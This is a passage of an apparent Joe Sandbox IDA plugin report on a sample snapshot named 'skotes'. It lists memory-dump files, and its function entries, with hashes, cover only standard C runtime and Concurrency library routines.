Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: a5a4b3a46fb655d0622c6a1ce45fdc27a2952ecc9d925b44a2e9ee21431eea7f
Instruction ID: 779ff75265ad80483f288a879c404157a4ab8adf0c6f4f370ba20ac1dce6456d
Opcode Fuzzy Hash: a5a4b3a46fb655d0622c6a1ce45fdc27a2952ecc9d925b44a2e9ee21431eea7f
Instruction Fuzzy Hash: 36012B27B1862E35661412D8DE027BF17D88BC6BB4715012AFE54FB2D1DF54DC8221A0

Function 00ADFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ADFB06

Strings

GetCurrentProcessorNumberEx, xrefs: 00ADFABE
SetThreadGroupAffinity, xrefs: 00ADFA87
GetThreadGroupAffinity, xrefs: 00ADFA93
kernel32.dll, xrefs: 00ADFA7A

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 0332e70f0c6ff3812b2d181923221370227127b4bfffe28331b19084e9358255
Instruction ID: 9ef3e24091c68cac68811a1c6c01cba2916bc7cecb9b5f930a2f818083058b26
Opcode Fuzzy Hash: 0332e70f0c6ff3812b2d181923221370227127b4bfffe28331b19084e9358255
Instruction Fuzzy Hash: A701F5766923156D5320B7B95C8BDEB35EC8E02780760097BB903E32A2EDE5D8414160

Function 00AF2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00AF20B7

Part of subcall function 00AECAF3: Mailbox.LIBCMT ref: 00AECB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AF20C8
StructuredWorkStealingQueue.LIBCMT ref: 00AF20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AF210F

Strings

e, xrefs: 00AF20D9

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 92c2ff60b8bbdab898841ab3f54f0c6fa6d43cb3a8759aea7cceb0a7f6817485
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: C311913210110DABDB15DFA9C9817BA73A5EF02364B14826AFE06DF242DF71DD05CB99

Function 00ADD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00ADD0A5

Strings

WakeAllConditionVariable, xrefs: 00ADD069
SleepConditionVariableCS, xrefs: 00ADD05D
kernel32.dll, xrefs: 00ADD04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00ADD03B

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: 2278f856746eb8a7b143d9f3e25fa270b1df645f312efc7d916cf1639ef9df6f
Instruction ID: d5377c8b333cf51d503aedf93cda8da228e79f82c3fe311dc520a718034d6be5
Opcode Fuzzy Hash: 2278f856746eb8a7b143d9f3e25fa270b1df645f312efc7d916cf1639ef9df6f
Instruction Fuzzy Hash: 3501A221BE2721AAA63137796C0DEAB31D88F82B80F451A52AD02F37A0DDF0CD0345B1

Function 00B04C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B04C98
__alloca_probe_16.LIBCMT ref: 00B04D5E
__freea.LIBCMT ref: 00B04DCA

Part of subcall function 00AFB04B: RtlAllocateHeap.NTDLL(00000000,E6CEA310,?,?,00ADD3FC,E6CEA310,?,00AD7A8B,?,?,?,?,?,?,00AC7465,?), ref: 00AFB07E

__freea.LIBCMT ref: 00B04DD3
__freea.LIBCMT ref: 00B04DF6

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: bc930d64c716d26807dcc985a257450bdf0b9d92aeecde74c7843a0a2e77ad85
Instruction ID: a45a8449f435783c2c66561b2a58ac53a4795203963a80a8ea1ff228c1539180
Opcode Fuzzy Hash: bc930d64c716d26807dcc985a257450bdf0b9d92aeecde74c7843a0a2e77ad85
Instruction Fuzzy Hash: C451B7B260021AAFEB215FA4DD41EBB3FE9DF84750F1542A9FE0497281EB74DC1096A0

Function 00AEE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00AEE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00AEE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00AEE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00AEE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00AEE9DC

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
